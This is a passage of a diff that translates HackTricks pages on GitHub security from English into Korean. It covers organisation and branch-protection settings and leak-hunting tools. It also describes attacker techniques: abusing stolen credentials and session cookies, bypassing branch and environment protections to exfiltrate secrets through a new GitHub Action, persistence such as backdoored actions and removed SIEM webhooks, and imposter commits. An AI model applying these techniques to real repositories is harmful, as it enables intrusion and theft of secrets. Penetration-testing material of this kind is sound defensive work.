- **병합 화이트리스트 활성화**: 화이트리스트에 있는 사용자/팀만 PR을 병합할 수 있습니다.
|
||||
- **상태 검사 활성화:** 병합 전에 상태 검사가 통과해야 합니다.
|
||||
- **승인 요구**: PR을 병합하기 전에 필요한 승인 수를 나타냅니다.
|
||||
- **화이트리스트에 대한 승인 제한**: PR을 승인할 수 있는 사용자/팀을 나타냅니다.
|
||||
- **거부된 리뷰에서 병합 차단**: 변경 요청이 있는 경우 병합할 수 없습니다(다른 검사가 통과하더라도).
|
||||
- **공식 리뷰 요청에서 병합 차단**: 공식 리뷰 요청이 있는 경우 병합할 수 없습니다.
|
||||
- **오래된 승인 무효화**: 새로운 커밋이 있을 때 오래된 승인은 무효화됩니다.
|
||||
- **서명된 커밋 요구**: 커밋은 서명되어야 합니다.
|
||||
- **풀 리퀘스트가 오래된 경우 병합 차단**
|
||||
- **보호된/비보호 파일 패턴**: 변경으로부터 보호/비보호할 파일 패턴을 나타냅니다.
|
||||
|
||||
> [!NOTE]
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
> 보시다시피, 사용자의 자격 증명을 얻었다고 하더라도, **리포가 보호되어 있어 마스터에 코드를 푸시하는 것을 방지할 수 있습니다.** 예를 들어 CI/CD 파이프라인을 손상시키기 위해서입니다.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## What is Github
|
||||
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub는 개발자가 코드를 저장하고 관리하며 코드 변경 사항을 추적하고 제어하는 데 도움을 주는 웹사이트이자 클라우드 기반 서비스입니다.**
|
||||
|
||||
### Basic Information
|
||||
|
||||
@@ -14,19 +14,19 @@ basic-github-information.md
|
||||
|
||||
## External Recon
|
||||
|
||||
Github repositories can be configured as public, private and internal.
|
||||
Github 리포지토리는 공개, 비공개 및 내부로 구성할 수 있습니다.
|
||||
|
||||
- **Private** means that **only** people of the **organisation** will be able to access them
|
||||
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
|
||||
- **Public** means that **all internet** is going to be able to access it.
|
||||
- **비공개**는 **조직**의 사람들만 접근할 수 있음을 의미합니다.
|
||||
- **내부**는 **기업**의 사람들만 접근할 수 있음을 의미합니다 (기업은 여러 조직을 가질 수 있습니다).
|
||||
- **공개**는 **모든 인터넷** 사용자가 접근할 수 있음을 의미합니다.
|
||||
|
||||
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
|
||||
**대상으로 삼고자 하는 사용자, 리포지토리 또는 조직을 알고 있다면** **github dorks**를 사용하여 민감한 정보를 찾거나 **각 리포지토리에서 민감한 정보 유출**을 검색할 수 있습니다.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
|
||||
Github는 **사용자, 리포지토리 또는 조직을 범위로 지정하여 무언가를 검색할 수 있도록 허용합니다**. 따라서 민감한 정보 근처에 나타날 문자열 목록을 사용하여 **대상에서 잠재적인 민감한 정보를 쉽게 검색할 수 있습니다**.
|
||||
|
||||
Tools (each tool contains its list of dorks):
|
||||
도구 (각 도구는 자신의 dorks 목록을 포함합니다):
|
||||
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
@@ -34,9 +34,9 @@ Tools (each tool contains its list of dorks):
|
||||
|
||||
### Github Leaks
|
||||
|
||||
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
|
||||
Github dorks는 또한 github 검색 옵션을 사용하여 유출을 검색하는 데 사용됩니다. 이 섹션은 **각 리포지토리를 다운로드하고 그 안에서 민감한 정보를 검색하는 도구**에 전념하고 있습니다 (특정 깊이의 커밋을 확인하기도 함).
|
||||
|
||||
Tools (each tool contains its list of regexes):
|
||||
도구 (각 도구는 자신의 regex 목록을 포함합니다):
|
||||
|
||||
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
|
||||
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
|
||||
@@ -47,15 +47,15 @@ Tools (each tool contains its list of regexes):
|
||||
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
|
||||
|
||||
> [!WARNING]
|
||||
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
> 리포지토리에서 유출을 찾고 `git log -p`와 같은 명령을 실행할 때 **비밀을 포함하는 다른 커밋이 있는 다른 브랜치**가 있을 수 있음을 잊지 마세요!
|
||||
|
||||
### External Forks
|
||||
|
||||
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
|
||||
**풀 리퀘스트를 악용하여 리포지토리를 손상시킬 수 있습니다**. 리포지토리가 취약한지 알기 위해서는 주로 Github Actions yaml 구성을 읽어야 합니다. [**자세한 정보는 아래를 참조하세요**](./#execution-from-a-external-fork).
|
||||
|
||||
### Github Leaks in deleted/internal forks
|
||||
|
||||
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
|
||||
삭제되었거나 내부에 있더라도 github 리포지토리의 포크에서 민감한 데이터를 얻는 것이 가능할 수 있습니다. 여기에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
accessible-deleted-data-in-github.md
|
||||
@@ -65,184 +65,172 @@ accessible-deleted-data-in-github.md
|
||||
|
||||
### Member Privileges
|
||||
|
||||
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
조직의 **구성원**에게 할당할 수 있는 **기본 권한**이 있습니다. 이는 `https://github.com/organizations/<org_name>/settings/member_privileges` 페이지 또는 [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs)에서 제어할 수 있습니다.
|
||||
|
||||
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
|
||||
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
|
||||
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
|
||||
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **More things can be configured** in this page but the previous are the ones more security related.
|
||||
- **기본 권한**: 구성원은 조직 리포지토리에 대해 None/Read/write/Admin 권한을 가집니다. 권장되는 것은 **None** 또는 **Read**입니다.
|
||||
- **리포지토리 포크**: 필요하지 않다면 구성원이 조직 리포지토리를 포크하는 것을 **허용하지 않는 것이 좋습니다**.
|
||||
- **페이지 생성**: 필요하지 않다면 구성원이 조직 리포지토리에서 페이지를 게시하는 것을 **허용하지 않는 것이 좋습니다**. 필요하다면 공개 또는 비공식 페이지 생성을 허용할 수 있습니다.
|
||||
- **통합 접근 요청**: 이 기능이 활성화되면 외부 협력자가 이 조직 및 그 자원에 접근하기 위해 GitHub 또는 OAuth 앱에 대한 접근을 요청할 수 있습니다. 일반적으로 필요하지만, 필요하지 않다면 비활성화하는 것이 좋습니다.
|
||||
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **리포지토리 가시성 변경**: 활성화되면 **리포지토리**에 대한 **admin** 권한을 가진 **구성원**이 **가시성을 변경할 수 있습니다**. 비활성화되면 조직 소유자만 리포지토리 가시성을 변경할 수 있습니다. 사람들이 **공개**로 만들지 않기를 원한다면 이 기능이 **비활성화**되어 있는지 확인하세요.
|
||||
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **리포지토리 삭제 및 전송**: 활성화되면 리포지토리에 대한 **admin** 권한을 가진 구성원이 공개 및 비공식 **리포지토리**를 **삭제**하거나 **전송**할 수 있습니다.
|
||||
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **구성원이 팀을 생성할 수 있도록 허용**: 활성화되면 조직의 **구성원**이 새로운 **팀**을 **생성**할 수 있습니다. 비활성화되면 조직 소유자만 새로운 팀을 생성할 수 있습니다. 이 기능은 비활성화하는 것이 좋습니다.
|
||||
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **이 페이지에서 더 많은 설정을 구성할 수 있지만, 이전 항목들이 보안과 관련된 것들입니다.**
|
||||
|
||||
### Actions Settings
|
||||
|
||||
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
여러 보안 관련 설정을 `https://github.com/organizations/<org_name>/settings/actions` 페이지에서 구성할 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that all this configurations can also be set on each repository independently
|
||||
> 이 모든 구성은 각 리포지토리에서 독립적으로 설정할 수 있습니다.
|
||||
|
||||
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
- **Github actions 정책**: 어떤 리포지토리가 워크플로를 실행할 수 있는지, 어떤 워크플로가 허용되어야 하는지를 지정할 수 있습니다. **허용해야 할 리포지토리**를 지정하고 모든 작업이 실행되지 않도록 하는 것이 좋습니다.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **외부 협력자의 풀 리퀘스트 워크플로 포크**: 모든 외부 협력자에게 승인을 **요구하는 것이 좋습니다**.
|
||||
- _이 정보가 포함된 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **풀 리퀘스트에서 워크플로 실행**: **풀 리퀘스트에서 워크플로를 실행하는 것은 강력히 권장되지 않습니다**. 포크 출처의 유지 관리자가 소스 리포지토리에 대한 읽기 권한이 있는 토큰을 사용할 수 있게 됩니다.
|
||||
- _이 정보가 포함된 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._
|
||||
- **워크플로 권한**: **읽기 리포지토리 권한만 부여하는 것이 강력히 권장됩니다**. GITHUB_TOKEN이 실행 중인 워크플로에 남용되지 않도록 쓰기 및 풀 리퀘스트 생성/승인 권한을 부여하는 것은 권장되지 않습니다.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Integrations
|
||||
|
||||
_Let me know if you know the API endpoint to access this info!_
|
||||
_이 정보에 접근할 수 있는 API 엔드포인트를 아신다면 알려주세요!_
|
||||
|
||||
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
|
||||
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
|
||||
- **타사 애플리케이션 접근 정책**: 모든 애플리케이션에 대한 접근을 제한하고 필요한 애플리케이션만 허용하는 것이 좋습니다 (검토 후).
|
||||
- **설치된 GitHub Apps**: 필요한 애플리케이션만 허용하는 것이 좋습니다 (검토 후).
|
||||
|
||||
## Recon & Attacks abusing credentials
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
이 시나리오에서는 github 계정에 대한 접근을 얻었다고 가정합니다.
|
||||
|
||||
### With User Credentials
|
||||
|
||||
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
|
||||
조직 내 사용자에 대한 자격 증명이 있는 경우 **로그인**하여 **기업 및 조직 역할**을 확인할 수 있습니다. 일반 구성원인 경우 **일반 구성원이 가진 권한**, 어떤 **그룹**에 속해 있는지, 어떤 **리포지토리**에 대해 **어떤 권한**을 가지고 있는지, 그리고 **리포지토리가 어떻게 보호되는지** 확인하세요.
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
**2FA가 사용될 수 있으므로** 이 정보를 얻으려면 **그 검사를 통과해야만** 합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
> `user_session` 쿠키를 **훔치는 데 성공하면** (현재 SameSite: Lax로 구성됨) 자격 증명이나 2FA 없이 **사용자를 완전히 가장할 수 있습니다**.
|
||||
|
||||
Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
|
||||
유용할 경우 [**브랜치 보호 우회**](./#branch-protection-bypass) 섹션을 확인하세요.
|
||||
|
||||
### With User SSH Key
|
||||
|
||||
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
|
||||
Github는 **사용자**가 **SSH 키**를 설정하여 자신의 이름으로 코드를 배포하는 **인증 방법**으로 사용할 수 있도록 허용합니다 (2FA가 적용되지 않음).
|
||||
|
||||
이 키를 사용하여 사용자가 일부 권한을 가진 리포지토리에서 **변경을 수행할 수 있지만**, github API에 접근하여 환경을 나열하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 나열하여** 접근할 수 있는 리포지토리 및 사용자에 대한 정보를 얻을 수 있습니다:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
사용자가 자신의 github 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\<github_username>.keys_에서 그의 계정에 설정한 **공개 키**에 접근할 수 있으며, 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다.
|
||||
|
||||
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
**SSH 키**는 **배포 키**로 리포지토리에 설정될 수도 있습니다. 이 키에 접근할 수 있는 사람은 **리포지토리에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 관련된 키에 대한 정보를 제공합니다.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
#### GPG 키
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
[**여기**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md)에서 설명한 바와 같이, 때때로 커밋에 서명해야 하거나 발견될 수 있습니다.
|
||||
|
||||
현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하세요:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### 사용자 토큰 사용
|
||||
|
||||
### With User Token
|
||||
[**사용자 토큰에 대한 기본 정보**](basic-github-information.md#personal-access-tokens)를 확인하세요.
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
|
||||
사용자 토큰은 HTTPS를 통한 Git의 **비밀번호 대신** 사용되거나 [**기본 인증을 통해 API에 인증하는 데 사용**](https://docs.github.com/v3/auth/#basic-authentication)될 수 있습니다. 부여된 권한에 따라 다양한 작업을 수행할 수 있습니다.
|
||||
|
||||
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
|
||||
사용자 토큰은 다음과 같습니다: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
### Oauth 애플리케이션 사용
|
||||
|
||||
### With Oauth Application
|
||||
[**Github Oauth 애플리케이션에 대한 기본 정보**](basic-github-information.md#oauth-applications)를 확인하세요.
|
||||
|
||||
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
|
||||
공격자는 **악성 Oauth 애플리케이션**을 생성하여 피싱 캠페인의 일환으로 이를 수락한 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다.
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Oauth 애플리케이션이 요청할 수 있는 [범위](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)입니다. 수락하기 전에 항상 요청된 범위를 확인해야 합니다.
|
||||
|
||||
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
|
||||
또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다**.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
### Github 애플리케이션 사용
|
||||
|
||||
### With Github Application
|
||||
[**Github 애플리케이션에 대한 기본 정보**](basic-github-information.md#github-applications)를 확인하세요.
|
||||
|
||||
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
|
||||
공격자는 **악성 Github 애플리케이션**을 생성하여 피싱 캠페인의 일환으로 이를 수락한 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다.
|
||||
|
||||
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다**.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
## Github Action의 타협 및 남용
|
||||
|
||||
## Compromise & Abuse Github Action
|
||||
|
||||
There are several techniques to compromise and abuse a Github Action, check them here:
|
||||
Github Action을 타협하고 남용하는 여러 기술이 있습니다. 여기에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Branch Protection Bypass
|
||||
## 브랜치 보호 우회
|
||||
|
||||
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
|
||||
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
|
||||
- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
|
||||
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
|
||||
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
|
||||
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
|
||||
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
|
||||
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
|
||||
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
|
||||
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
|
||||
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
|
||||
- **승인 수 요구**: 여러 계정을 타협한 경우 다른 계정에서 PR을 수락할 수 있습니다. PR을 생성한 계정만 있는 경우 자신의 PR을 수락할 수 없습니다. 그러나 리포 내에서 **Github Action** 환경에 접근할 수 있다면, **GITHUB_TOKEN**을 사용하여 **PR을 승인**하고 이렇게 1개의 승인을 받을 수 있습니다.
|
||||
- _이와 코드 소유자 제한에 대한 주의: 일반적으로 사용자는 자신의 PR을 승인할 수 없지만, 만약 가능하다면 이를 남용하여 자신의 PR을 수락할 수 있습니다._
|
||||
- **새 커밋이 푸시될 때 승인 해제**: 이 설정이 되어 있지 않으면, 합법적인 코드를 제출하고 누군가가 승인할 때까지 기다린 후 악성 코드를 추가하고 이를 보호된 브랜치에 병합할 수 있습니다.
|
||||
- **코드 소유자의 리뷰 요구**: 이 설정이 활성화되어 있고 당신이 코드 소유자라면, **Github Action이 당신의 PR을 생성하고 당신이 직접 승인할 수 있습니다**.
|
||||
- **CODEOWNER 파일이 잘못 구성된 경우**: Github은 불만을 제기하지 않지만 이를 사용하지 않습니다. 따라서 잘못 구성된 경우 **코드 소유자 보호가 적용되지 않습니다.**
|
||||
- **지정된 행위자가 풀 리퀘스트 요구 사항을 우회할 수 있도록 허용**: 이러한 행위자 중 하나라면 풀 리퀘스트 보호를 우회할 수 있습니다.
|
||||
- **관리자 포함**: 이 설정이 되어 있지 않으면 리포의 관리자인 경우 이 브랜치 보호를 우회할 수 있습니다.
|
||||
- **PR 하이재킹**: 다른 사람의 PR을 **수정하여 악성 코드를 추가하고, 결과 PR을 자신이 승인하고 모든 것을 병합할 수 있습니다.**
|
||||
- **브랜치 보호 제거**: **리포의 관리자인 경우 보호를 비활성화하고**, PR을 병합한 후 보호를 다시 설정할 수 있습니다.
|
||||
- **푸시 보호 우회**: 리포가 **특정 사용자만** 브랜치에 푸시(코드 병합)를 허용하는 경우(브랜치 보호가 모든 브랜치를 보호할 수 있음).
|
||||
- **리포에 대한 쓰기 권한이 있지만 브랜치 보호로 인해 코드를 푸시할 수 없는 경우**, 여전히 **새 브랜치를 생성**하고 그 안에 **코드가 푸시될 때 트리거되는 github action을 생성**할 수 있습니다. **브랜치 보호는 브랜치가 생성될 때까지 보호하지 않으므로**, 이 첫 번째 코드 푸시는 **github action을 실행**합니다.
|
||||
|
||||
## Bypass Environments Protections
|
||||
## 환경 보호 우회
|
||||
|
||||
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
|
||||
[**Github 환경에 대한 기본 정보**](basic-github-information.md#git-environments)를 확인하세요.
|
||||
|
||||
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
|
||||
|
||||
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
|
||||
환경에 **모든 브랜치에서 접근할 수 있는 경우**, **보호되지 않으며** 환경 내의 비밀에 쉽게 접근할 수 있습니다. **모든 브랜치가 보호된** 리포를 찾을 수 있다는 점에 유의하세요(이름을 지정하거나 `*`를 사용하여). 이 경우, **코드를 푸시할 수 있는 브랜치를 찾아** 새로운 github action을 생성(또는 수정)하여 비밀을 **유출**할 수 있습니다.
|
||||
|
||||
모든 브랜치가 보호된 경우(와일드카드 `*`를 통해) **브랜치에 코드를 푸시할 수 있는 사람**이 지정되어 있고 **당신의 사용자가 허용되지 않는 경우**에도, 브랜치를 생성하고 푸시 트리거를 사용할 수 있으므로 사용자 정의 github action을 실행할 수 있습니다. **브랜치 보호는 새 브랜치에 대한 푸시를 허용하므로 github action이 트리거됩니다.**
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
|
||||
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
|
||||
Note that **브랜치 생성 후** **브랜치 보호가 새 브랜치에 적용되며** 수정할 수 없지만, 그때 이미 비밀을 덤프했을 것입니다.
|
||||
|
||||
## Persistence
|
||||
|
||||
- Generate **user token**
|
||||
- Steal **github tokens** from **secrets**
|
||||
- **Deletion** of workflow **results** and **branches**
|
||||
- Give **more permissions to all the org**
|
||||
- Create **webhooks** to exfiltrate information
|
||||
- Invite **outside collaborators**
|
||||
- **Remove** **webhooks** used by the **SIEM**
|
||||
- Create/modify **Github Action** with a **backdoor**
|
||||
- Find **vulnerable Github Action to command injection** via **secret** value modification
|
||||
- **사용자 토큰** 생성
|
||||
- **비밀**에서 **github 토큰** 탈취
|
||||
- **워크플로우 결과** 및 **브랜치** **삭제**
|
||||
- 모든 조직에 **더 많은 권한** 부여
|
||||
- 정보를 유출하기 위한 **웹훅** 생성
|
||||
- **외부 협력자** 초대
|
||||
- **SIEM**에서 사용된 **웹훅** **제거**
|
||||
- **백도어**가 있는 **Github Action** 생성/수정
|
||||
- **비밀** 값 수정을 통해 **명령 주입**에 취약한 **Github Action** 찾기
|
||||
|
||||
### Imposter Commits - Backdoor via repo commits
|
||||
### Imposter Commits - 레포 커밋을 통한 백도어
|
||||
|
||||
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
|
||||
Github에서는 **포크에서 레포에 PR을 생성**할 수 있습니다. PR이 **수락되지 않더라도**, 원본 레포 내에 **커밋** ID가 포크 버전의 코드에 대해 생성됩니다. 따라서 공격자는 **레포 소유자가 생성하지 않은 겉보기에는 합법적인 레포의 특정 커밋을 사용하도록 고정할 수 있습니다**.
|
||||
|
||||
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
jobs:
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
```
|
||||
|
||||
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
자세한 내용은 [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)에서 확인하세요.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,389 +4,371 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
In this page you will find:
